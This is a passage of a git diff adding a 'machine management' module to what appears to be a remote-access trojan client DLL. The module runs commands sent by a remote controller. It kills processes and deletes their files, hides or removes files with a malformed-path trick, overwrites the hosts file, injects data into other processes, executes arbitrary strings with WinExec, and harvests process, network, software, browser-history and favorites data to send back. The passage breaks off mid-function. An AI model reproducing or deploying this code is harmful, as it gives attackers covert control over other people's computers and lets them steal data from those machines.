diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 85df9c2..7ba543f 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -217,6 +217,7 @@ + @@ -272,6 +273,8 @@ + + diff --git a/client/Common.cpp b/client/Common.cpp index 9cb0083..7694327 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -6,6 +6,7 @@ #include "FileManager.h" #include "TalkManager.h" #include "ChatManager.h" +#include "MachineManager.h" #include "ShellManager.h" #include "SystemManager.h" #include "ConPTYManager.h" @@ -107,6 +108,11 @@ DWORD WINAPI LoopChatManager(LPVOID lParam) return LoopManager(lParam); } +DWORD WINAPI LoopMachineManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + DWORD WINAPI LoopShellManager(LPVOID lParam) { // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe diff --git a/client/Common.h b/client/Common.h index cdcf1f8..4a4bddc 100644 --- a/client/Common.h +++ b/client/Common.h @@ -29,6 +29,7 @@ DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopFileManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopChatManager(LPVOID lParam); +DWORD WINAPI LoopMachineManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 494d92e..ff71197 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1167,6 +1167,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_MACHINE_MANAGE: { // 主机管理 + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } + case COMMAND_SHELL: { if (!ENABLE_SHELL) { return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); diff --git a/client/MachineManager.cpp b/client/MachineManager.cpp new file mode 100644 index 0000000..b26d1c6 --- /dev/null +++ b/client/MachineManager.cpp @@ -0,0 +1,2543 @@ +// ShellManager.cpp: implementation of the CMachineManager class. +// +////////////////////////////////////////////////////////////////////// +#include "stdafx.h" +#include "MachineManager.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib,"Iphlpapi.lib") +#pragma comment(lib,"Psapi.lib") +#pragma comment(lib,"Wtsapi32.lib") +#pragma comment(lib,"netapi32") +#pragma comment(lib,"Setupapi.lib") + +#include +#include + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + + +PidandStitle m_PidandStitle; +PidandStitle::iterator it_m_PidandStitle; + +BSTR CharToBSTR(const char* input) +{ + int len = MultiByteToWideChar(CP_ACP, 0, input, -1, NULL, 0); + wchar_t* wide = new wchar_t[len]; + MultiByteToWideChar(CP_ACP, 0, input, -1, wide, len); + BSTR bstr = SysAllocString(wide); + delete[] wide; + return bstr; +} + +std::string BSTRToUTF8(const BSTR bstr) +{ + if (!bstr) return ""; + + int wideLen = SysStringLen(bstr); + if (wideLen == 0) return ""; + + int utf8Len = WideCharToMultiByte(CP_UTF8, 0, bstr, wideLen, nullptr, 0, nullptr, nullptr); + if (utf8Len <= 0) return ""; + + std::string utf8Str(utf8Len, '\0'); + WideCharToMultiByte(CP_UTF8, 0, bstr, wideLen, &utf8Str[0], utf8Len, nullptr, nullptr); + + return utf8Str; +} + +std::string WideToUtf8(LPCWSTR lpwstr) { + if (!lpwstr) return ""; + + int size = WideCharToMultiByte(CP_UTF8, 0, lpwstr, -1, nullptr, 0, nullptr, nullptr); + if (size <= 0) return ""; + + std::string result(size - 1, 0); + WideCharToMultiByte(CP_UTF8, 0, lpwstr, -1, &result[0], size, nullptr, nullptr); + return result; +} + +std::string WideToAnsi(LPCWSTR lpwstr) { + if (!lpwstr) return ""; + + int size = WideCharToMultiByte(CP_ACP, 0, lpwstr, -1, nullptr, 0, nullptr, nullptr); + if (size <= 0) return ""; + + std::string result(size - 1, 0); + WideCharToMultiByte(CP_ACP, 0, lpwstr, -1, &result[0], size, nullptr, nullptr); + return result; +} + +CMachineManager::CMachineManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject) +{ + BYTE lpBuffer = TOKEN_SYSINFOLIST; + Send((LPBYTE)&lpBuffer, 1); + m_bUse = TRUE; + m_dwServiceType = 0; +} + +CMachineManager::~CMachineManager() +{ +} + +void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize) +{ + if (lpBuffer[0] == TOKEN_HEARTBEAT) return; + switch (lpBuffer[0]) { + case COMMAND_MACHINE_PROCESS: + SendProcessList(); + break; + case COMMAND_MACHINE_WINDOWS: + SendWindowsList(); + break; + case COMMAND_MACHINE_NETSTATE: + SendNetStateList(); + break; + case COMMAND_MACHINE_SOFTWARE: + SendSoftWareList(); + break; + case COMMAND_MACHINE_HTML: + SendIEHistoryList(); + break; + case COMMAND_MACHINE_FAVORITES: + SendFavoritesUrlList(); + break; + case COMMAND_MACHINE_WIN32SERVICE: + m_dwServiceType = SERVICE_WIN32; + SendServicesList(SERVICE_WIN32); + break; + case COMMAND_MACHINE_DRIVERSERVICE: + m_dwServiceType = SERVICE_KERNEL_DRIVER; + SendServicesList(SERVICE_KERNEL_DRIVER); + break; + case COMMAND_MACHINE_TASK: + GetRoot(); + break; + case COMMAND_MACHINE_HOSTS: + SendHostsList(); + break; + case COMMAND_DELETESERVERICE: + DeleteService((LPBYTE)lpBuffer + 1, nSize - 1); + break; + case COMMAND_STARTSERVERICE: + MyControlService((LPBYTE)lpBuffer + 1, 0); + break; + case COMMAND_STOPSERVERICE: + MyControlService((LPBYTE)lpBuffer + 1, 1); + break; + case COMMAND_PAUSESERVERICE: + MyControlService((LPBYTE)lpBuffer + 1, 2); + break; + case COMMAND_CONTINUESERVERICE: + MyControlService((LPBYTE)lpBuffer + 1, 3); + break; + case COMMAND_APPUNINSTALL: + WinExec((LPCSTR)lpBuffer + 1, SW_SHOW); + break; + case COMMAND_WINDOW_OPERATE: { //还原窗口 + DWORD hwnd; + DWORD dHow; + memcpy((void*)&hwnd, lpBuffer + 1, sizeof(DWORD)); //得到窗口句柄 + memcpy(&dHow, lpBuffer + 1 + sizeof(DWORD), sizeof(DWORD)); //得到窗口处理参数 + ShowWindow((HWND__*)hwnd, dHow); + } + break; + case COMMAND_WINDOW_CLOSE: { //关闭 + DWORD hwnd; + memcpy(&hwnd, lpBuffer + 1, sizeof(DWORD)); //得到窗口句柄 + ::PostMessage((HWND__*)hwnd, WM_CLOSE, 0, 0); //向窗口发送关闭消息 + } + break; + + case COMMAND_PROCESS_KILLDEL: { + HANDLE hProcess = NULL; + DebugPrivilege(SE_DEBUG_NAME, TRUE); + char strProcessName[MAX_PATH] = { 0 }; + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); + GetModuleFileNameEx(hProcess, NULL, strProcessName, sizeof(strProcessName)); + BOOL bProcess = TerminateProcess(hProcess, 0); + + if (lpBuffer[0] && bProcess) { + int n = 0; + while (1) { + DeleteFile(strProcessName); + Sleep(200); + if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出 + break; + n++; + if (n >= 10) //无法删除 一段时间后退出 + break; + } + } + CloseHandle(hProcess); + + DebugPrivilege(SE_DEBUG_NAME, FALSE); + // 稍稍Sleep下,防止出错 + Sleep(100); + } + break; + case COMMAND_PROCESS_DEL: { + HANDLE hProcess = NULL; + DebugPrivilege(SE_DEBUG_NAME, TRUE); + char strProcessName[MAX_PATH] = { 0 }; + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); + GetModuleFileNameEx(hProcess, NULL, strProcessName, MAX_PATH); + if (lpBuffer[1]) { + char Tem_path[MAX_PATH]; + char path_one[MAX_PATH]; + char path_two[MAX_PATH]; + char path_three[MAX_PATH]; + char path_four[MAX_PATH]; + int n = 0; + SECURITY_ATTRIBUTES SecAttr; + SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES); + SecAttr.bInheritHandle = FALSE; + SecAttr.lpSecurityDescriptor = NULL; + while (1) { + GetTempPath(MAX_PATH, Tem_path); + srand((unsigned int)time(0)); + int A = rand(); + int B = A + 1; + wsprintf(path_one, _T("%s%d"), Tem_path, A); + CreateDirectory(path_one, &SecAttr); //CreateDirectoryA(目录, 安全性结构) + wsprintf(path_two, _T("%s%s"), path_one, _T("\\....\\")); + CreateDirectory(path_two, &SecAttr);// CreateDirectoryA(目录 + “\....\”, 安全性结构) + wsprintf(path_three, _T("%s\\%d"), path_two, B); + MoveFile(strProcessName, path_three); //MoveFileA(文件名, 目录 + “\....\” + 字母) + wsprintf(path_four, _T("%s\\%d"), path_one, B); + MoveFile(path_two, path_four); // MoveFileA(目录 + “\....\”, 目录 + “\” + 字母) + DeleteFile(path_one); //删除目录(目录) + Sleep(200); + if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出 + return; + n++; + if (n >= 10) //无法删除 一段时间后退出 + return; + } + } + CloseHandle(hProcess); + DebugPrivilege(SE_DEBUG_NAME, FALSE); + // 稍稍Sleep下,防止出错 + Sleep(100); + } + break; + + case COMMAND_PROCESS_KILL: { + HANDLE hProcess = NULL; + DebugPrivilege(SE_DEBUG_NAME, TRUE); + char strProcessName[MAX_PATH] = { 0 }; + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); + GetModuleFileNameEx(hProcess, NULL, strProcessName, sizeof(strProcessName)); + BOOL bProcess = TerminateProcess(hProcess, 0); + CloseHandle(hProcess); + + DebugPrivilege(SE_DEBUG_NAME, FALSE); + // 稍稍Sleep下,防止出错 + Sleep(100); + SendProcessList(); + } + break; + case COMMAND_PROCESS_FREEZING: { + HANDLE hProcess = NULL; + DebugPrivilege(SE_DEBUG_NAME, TRUE); + DWORD Pid = *(LPDWORD)(lpBuffer+1); + THREADENTRY32 th32; + th32.dwSize = sizeof(th32); + HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hThreadSnap == INVALID_HANDLE_VALUE) { + break; + } + BOOL b = ::Thread32First(hThreadSnap, &th32); + while (b) { + if (th32.th32OwnerProcessID == Pid) { + HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID); + ::SuspendThread(oth); + CloseHandle(oth); + } + b = ::Thread32Next(hThreadSnap, &th32); + } + ::CloseHandle(hThreadSnap); + } + break; + case COMMAND_PROCESS_THAW: { + HANDLE hProcess = NULL; + DebugPrivilege(SE_DEBUG_NAME, TRUE); + DWORD Pid = *(LPDWORD)(lpBuffer+1); + THREADENTRY32 th32; + th32.dwSize = sizeof(th32); + HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hThreadSnap == INVALID_HANDLE_VALUE) { + break; + } + BOOL b = ::Thread32First(hThreadSnap, &th32); + while (b) { + if (th32.th32OwnerProcessID == Pid) { + HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID); + ::ResumeThread(oth); + CloseHandle(oth); + break; + } + ::Thread32Next(hThreadSnap, &th32); + } + ::CloseHandle(hThreadSnap); + } + break; + case COMMAND_HOSTS_SET: { + char szHostsFile[MAX_PATH] = { 0 }; + BOOL bIsWow64 = FALSE; + HANDLE hFile = INVALID_HANDLE_VALUE; + DWORD dwWritten; + + GetWindowsDirectory(szHostsFile, sizeof(szHostsFile)); + ::IsWow64Process(::GetCurrentProcess(), &bIsWow64); + if (bIsWow64) + lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts")); + else + lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts")); + + SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL); + hFile = CreateFile(szHostsFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) + return; + if (!WriteFile(hFile, lpBuffer + 1, nSize - 1, &dwWritten, NULL)) { + CloseHandle(hFile); + return; + } + CloseHandle(hFile); + } + break; + case COMMAND_INJECT: { // lpBuffer, UINT nSize) + if (nSize < sizeof(InjectData)) return; + InjectData* p_InjectData =(InjectData*) (lpBuffer+1); + byte* data = lpBuffer + sizeof(InjectData)+1; + if ((nSize - sizeof(InjectData)-1) != p_InjectData->datasize) return; + injectprocess(p_InjectData->mode, p_InjectData->ExeIsx86, p_InjectData->dwProcessID, data, p_InjectData->datasize, p_InjectData->strpath); + } + break; + + default: + + break; + } +} + +BOOL CMachineManager::DebugPrivilege(const char* PName, BOOL bEnable) +{ + BOOL bResult = TRUE; + HANDLE hToken; + TOKEN_PRIVILEGES TokenPrivileges; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { + bResult = FALSE; + return bResult; + } + TokenPrivileges.PrivilegeCount = 1; + TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; + + LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid); + AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + if (GetLastError() != ERROR_SUCCESS) { + bResult = FALSE; + } + + CloseHandle(hToken); + return bResult; +} + +BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath) +{ + char szDriveStr[500]; + char szDrive[3]; + char szDevName[100]; + INT cchDevName; + INT i; + + //检查参数 + if (!pszDosPath || !pszNtPath) + return FALSE; + + //获取本地磁盘字符串 + if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr)) { + for (i = 0; szDriveStr[i]; i += 4) { + if (!lstrcmpi(&(szDriveStr[i]), _T("A:\\")) || !lstrcmpi(&(szDriveStr[i]), _T("B:\\"))) + continue; + + szDrive[0] = szDriveStr[i]; + szDrive[1] = szDriveStr[i + 1]; + szDrive[2] = _T('\0'); + if (!QueryDosDevice(szDrive, szDevName, 100))//查询 Dos 设备名 + return FALSE; + + cchDevName = lstrlen(szDevName); + if (_tcsnccmp(pszDosPath, szDevName, cchDevName) == 0) { //命中 + lstrcpy(pszNtPath, szDrive);//复制驱动器 + lstrcat(pszNtPath, pszDosPath + cchDevName);//复制路径 + return TRUE; + } + } + } + + lstrcpy(pszNtPath, pszDosPath); + + return FALSE; +} + +BOOL GetProcessUserName(HANDLE hProcess, char* strProcessUser) +{ + HANDLE hToken = NULL; + BOOL bFuncReturn = FALSE; + PTOKEN_USER pToken_User = NULL; + DWORD dwTokenUser = 0; + char szAccName[MAX_PATH] = { 0 }; + char szDomainName[MAX_PATH] = { 0 }; + HANDLE hProcessToken = NULL; + if (hProcess != NULL) { + // 提升本进程的权限 + bFuncReturn = ::OpenProcessToken(hProcess, TOKEN_QUERY, &hToken); + if (bFuncReturn == 0) // 失败 + return FALSE; + + if (hToken != NULL) { + ::GetTokenInformation(hToken, TokenUser, NULL, 0L, &dwTokenUser); + if (dwTokenUser > 0) { + pToken_User = (PTOKEN_USER)::GlobalAlloc(GPTR, dwTokenUser); + } + + if (pToken_User != NULL) { + bFuncReturn = ::GetTokenInformation(hToken, TokenUser, pToken_User, dwTokenUser, &dwTokenUser); + } + + if (bFuncReturn != FALSE && pToken_User != NULL) { + SID_NAME_USE eUse = SidTypeUnknown; + DWORD dwAccName = 0L; + DWORD dwDomainName = 0L; + PSID pSid = pToken_User->User.Sid; + bFuncReturn = ::LookupAccountSid(NULL, pSid, NULL, &dwAccName, + NULL, &dwDomainName, &eUse); + + if (dwAccName > 0 && dwAccName < MAX_PATH && dwDomainName>0 && dwDomainName <= MAX_PATH) { + bFuncReturn = ::LookupAccountSid(NULL, pSid, szAccName, &dwAccName, + szDomainName, &dwDomainName, &eUse); + } + + if (bFuncReturn != 0) + lstrcpy(strProcessUser, szAccName); + } + } + } + + if (pToken_User != NULL) + ::GlobalFree(pToken_User); + + if (hToken != NULL) + ::CloseHandle(hToken); + + return TRUE; +} + +void CMachineManager::SendProcessList() +{ + UINT nRet = -1; + LPBYTE lpBuffer = getProcessList(); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +static BOOL CALLBACK lpEnumFunc(HWND hwnd, LPARAM lParam) +{ + if (NULL == hwnd) { + return TRUE; + } + if (!::IsWindow(hwnd)) + return TRUE; + + if (!IsWindowVisible(hwnd)) + return TRUE; + DWORD processId; + GetWindowThreadProcessId( + hwnd, // 窗口句柄 + &processId // 接收 PID 的指针 + ); + + int i = GetWindowTextLength(hwnd); + char szBuf_title[MAX_PATH]; + if (i > (MAX_PATH - 1)) return TRUE; + GetWindowText( + hwnd, // 窗口句柄 + szBuf_title, // 接收窗口标题的缓冲区指针 + i + 1 // 缓冲区字节大小 + ); + + m_PidandStitle.insert(MAKE_PAIR(PidandStitle,processId, szBuf_title)); + return TRUE; +} + + +bool CMachineManager::Is64BitOS() +{ + typedef VOID(WINAPI* LPFN_GetNativeSystemInfo)(__out LPSYSTEM_INFO lpSystemInfo); + LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandleW(L"kernel32"), + "GetNativeSystemInfo"); + if (fnGetNativeSystemInfo) { + SYSTEM_INFO stInfo = { 0 }; + fnGetNativeSystemInfo(&stInfo); + if (stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64 + || stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) { + return true; + } + } + return false; +} + + +bool CMachineManager::Is64BitPorcess(DWORD dwProcessID) +{ + if (!Is64BitOS()) { + return FALSE; + } else { + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID); + if (hProcess) { + typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); + LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleW(L"kernel32"), "IsWow64Process"); + if (NULL != fnIsWow64Process) { + BOOL bIsWow64 = false; + fnIsWow64Process(hProcess, &bIsWow64); + CloseHandle(hProcess); + if (bIsWow64) { + return false; + } else { + return true; + } + } + } + } + return false; +} + + +LPBYTE CMachineManager::getProcessList() +{ + HANDLE hSnapshot = NULL; + HANDLE hProcess = NULL; + HMODULE hModules = NULL; + PROCESSENTRY32 pe32 = { 0 }; + DWORD cbNeeded; + char strProcessName[MAX_PATH] = { 0 }; + char strProcessUser[MAX_PATH] = { 0 }; + char szImagePath[MAX_PATH] = { 0 }; + LPBYTE lpBuffer = NULL; + DWORD dwOffset = 0; + DWORD dwLength = 0; + DWORD dwWorkingSetSize = 0; + DWORD dwFileSize = 0; + PROCESS_MEMORY_COUNTERS pmc; + DebugPrivilege(SE_DEBUG_NAME, TRUE); + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (hSnapshot == INVALID_HANDLE_VALUE) + return NULL; + + pe32.dwSize = sizeof(PROCESSENTRY32); + + lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); + + lpBuffer[0] = TOKEN_MACHINE_PROCESS; + dwOffset = 1; + + m_PidandStitle.clear(); + it_m_PidandStitle = m_PidandStitle.begin(); + while (it_m_PidandStitle != m_PidandStitle.end()) { + m_PidandStitle.erase(it_m_PidandStitle++); + } + + EnumWindows(lpEnumFunc, NULL); + + if (Process32First(hSnapshot, &pe32)) { + do { + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); + if ((pe32.th32ProcessID != 0) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) { + EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); + + if (0 == GetProcessImageFileName(hProcess, szImagePath, MAX_PATH)) { + lstrcpy(strProcessName, _T("---")); + } else if (!DosPathToNtPath(szImagePath, strProcessName)) { + } + + memset(strProcessUser, 0, sizeof(strProcessUser)); + if (GetProcessUserName(hProcess, strProcessUser)) { + if (lstrlen(strProcessUser) == 0) { + lstrcpy(strProcessUser, _T("--")); + } + } else { + lstrcpy(strProcessUser, _T("-")); + } + + // 此进程占用数据大小 + dwLength = sizeof(DWORD) * 5 + sizeof(bool) + MAX_PATH * sizeof(char) + lstrlen(pe32.szExeFile) * sizeof(char) + + lstrlen(strProcessName) * sizeof(char) + lstrlen(strProcessUser) * sizeof(char) + 6; + // 缓冲区太小,再重新分配下 + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); + dwOffset += sizeof(DWORD); + + bool is64 = Is64BitPorcess(pe32.th32ProcessID); + memcpy(lpBuffer + dwOffset, &is64, sizeof(bool)); + dwOffset += sizeof(bool); + + it_m_PidandStitle = m_PidandStitle.find(pe32.th32ProcessID); + if (it_m_PidandStitle == m_PidandStitle.end()) { //没有在列表就断开连接 让客户端重新发送登录信息 + memcpy(lpBuffer + dwOffset, _T(""), MAX_PATH * sizeof(char)); + } else { + std::string str_title = it_m_PidandStitle->second; + memcpy(lpBuffer + dwOffset, str_title.c_str(), str_title.length()*sizeof(char)); + } + + dwOffset += MAX_PATH * sizeof(char); + + memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) * sizeof(char) + 2); + dwOffset += lstrlen(pe32.szExeFile) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); + dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; + + DWORD dwPriClass = GetPriorityClass(hProcess); + memcpy(lpBuffer + dwOffset, &dwPriClass, sizeof(DWORD)); + dwOffset += sizeof(DWORD); + + dwPriClass = pe32.cntThreads; + memcpy(lpBuffer + dwOffset, &dwPriClass, sizeof(DWORD)); + dwOffset += sizeof(DWORD); + + memcpy(lpBuffer + dwOffset, strProcessUser, lstrlen(strProcessUser) * sizeof(char) + 2); + dwOffset += lstrlen(strProcessUser) * sizeof(char) + 2; + + ZeroMemory(&pmc, sizeof(pmc)); + pmc.cb = sizeof(PROCESS_MEMORY_COUNTERS); + if (GetProcessMemoryInfo(hProcess, &pmc, sizeof(pmc))) { + dwWorkingSetSize = (DWORD)(pmc.WorkingSetSize / 1024); //单位为k + } else + dwWorkingSetSize = 0; + + memcpy(lpBuffer + dwOffset, &dwWorkingSetSize, sizeof(DWORD)); + dwOffset += sizeof(DWORD); + + + HANDLE handle = CreateFile(strProcessName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); + if (handle != INVALID_HANDLE_VALUE) { + dwFileSize = GetFileSize(handle, NULL) / 1024; + CloseHandle(handle); + } else + dwFileSize = 0; + + memcpy(lpBuffer + dwOffset, &dwFileSize, sizeof(DWORD)); + dwOffset += sizeof(DWORD); + } + + CloseHandle(hProcess);//新修改 + } while (Process32Next(hSnapshot, &pe32)); + } + + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + + DebugPrivilege(SE_DEBUG_NAME, FALSE); + CloseHandle(hSnapshot); + return lpBuffer; +} + +//根据进程ID获取窗口句柄 +HWND CMachineManager::GetHwndByPid(DWORD dwProcessID) +{ + //返回Z序顶部的窗口句柄 + HWND hWnd = ::GetTopWindow(0); + + while (hWnd) { + DWORD pid = 0; + //根据窗口句柄获取进程ID + DWORD dwTheardId = ::GetWindowThreadProcessId(hWnd, &pid); + + if (dwTheardId != 0) { + if (pid == dwProcessID) { + return hWnd; + } + } + //返回z序中的前一个或后一个窗口的句柄 + hWnd = ::GetNextWindow(hWnd, GW_HWNDNEXT); + + } + return 0; +} + +LPBYTE CMachineManager::getWindowsList() +{ + LPBYTE lpBuffer = NULL; + EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer); + lpBuffer[0] = TOKEN_MACHINE_WINDOWS; + return lpBuffer; +} + + +void CMachineManager::SendWindowsList() +{ + LPBYTE lpBuffer = getWindowsList(); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +void CMachineManager::SendNetStateList() +{ + LPBYTE lpBuffer = getNetStateList(); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +bool CALLBACK CMachineManager::EnumWindowsProc(HWND hwnd, LPARAM lParam) +{ + if (NULL == hwnd) { + return true; + } + + if (!IsWindowVisible(hwnd)) + return true; + + DWORD dwOffset = 0; + + LPBYTE lpBuffer = *(LPBYTE*)lParam; + + WINDOWSINFO m_ibfo; + if (IsWindowVisible(hwnd)) { + m_ibfo.canlook = true; + } else { + m_ibfo.canlook = false; + } + + memset(m_ibfo.strTitle, 0, sizeof(m_ibfo.strTitle)); + try { + ::GetWindowText(hwnd, m_ibfo.strTitle, 1024); + + if (lpBuffer == NULL) { + lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); + dwOffset = 1; + } else { + dwOffset = (DWORD)LocalSize(lpBuffer); + } + + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + sizeof(WINDOWSINFO), LMEM_ZEROINIT | LMEM_MOVEABLE); + } catch (...) { + return true; + } + DWORD ProcessID; + GetWindowThreadProcessId(hwnd, &ProcessID); + RECT m_rect; + ::GetWindowRect(hwnd, &m_rect); + m_ibfo.w = m_rect.right - m_rect.left; + m_ibfo.h = m_rect.bottom - m_rect.top; + m_ibfo.m_poceessid = ProcessID; + m_ibfo.m_hwnd = (DWORD)hwnd; + + memcpy(lpBuffer + dwOffset, &m_ibfo, sizeof(WINDOWSINFO)); + + *(LPBYTE*)lParam = lpBuffer; + return true; +} + + +void CMachineManager::SendSoftWareList() +{ + LPBYTE lpBuffer = getSoftWareList(); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +LPBYTE CMachineManager::getSoftWareList() +{ + const int MAX_LEG = 256 * sizeof(char); + + LPBYTE lpBuffer = NULL; + DWORD dwOffset = 1; + DWORD dwLength = 0; + char regBufferValue[MAX_LEG] = { 0 }; + char regDisplayName[MAX_LEG] = { 0 }; + char regPublisher[MAX_LEG] = { 0 }; + char regDisplayVersion[MAX_LEG] = { 0 }; + char regInstallData[MAX_LEG] = { 0 }; + char regUninstallString[MAX_LEG] = { 0 }; + + lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); + if (lpBuffer == NULL) + return NULL; + + lpBuffer[0] = TOKEN_MACHINE_SOFTWARE; + + int n = 0; + HKEY hKey; + DWORD dwRegNum = MAX_LEG; + char regBufferName[MAX_LEG] = { 0 }; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"), + NULL, KEY_READ, &hKey) == ERROR_SUCCESS) { + if (RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { + + for (int i = 0; i < (int)dwRegNum; i++) { + DWORD dwRegSize = MAX_LEG; + RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL); + DWORD dwType; + HKEY hSubKey; + if (RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey) == ERROR_SUCCESS) { + dwRegSize = MAX_LEG; + memset(regDisplayName, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize); + + dwRegSize = MAX_LEG; + memset(regBufferValue, 0, MAX_LEG); + // 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem" + RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize); + if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息 + continue; + } + + dwRegSize = MAX_LEG; + memset(regPublisher, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize); + + dwRegSize = MAX_LEG; + memset(regDisplayVersion, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize); + + dwRegSize = MAX_LEG; + memset(regInstallData, 0, MAX_LEG); + // 判断是否能在注册表中获取到安装时间, 否取子项创建时间 + if (RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallData, &dwRegSize) == ERROR_SUCCESS) { + } else { + FILETIME fileLastTime; + RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, NULL, + NULL, NULL, 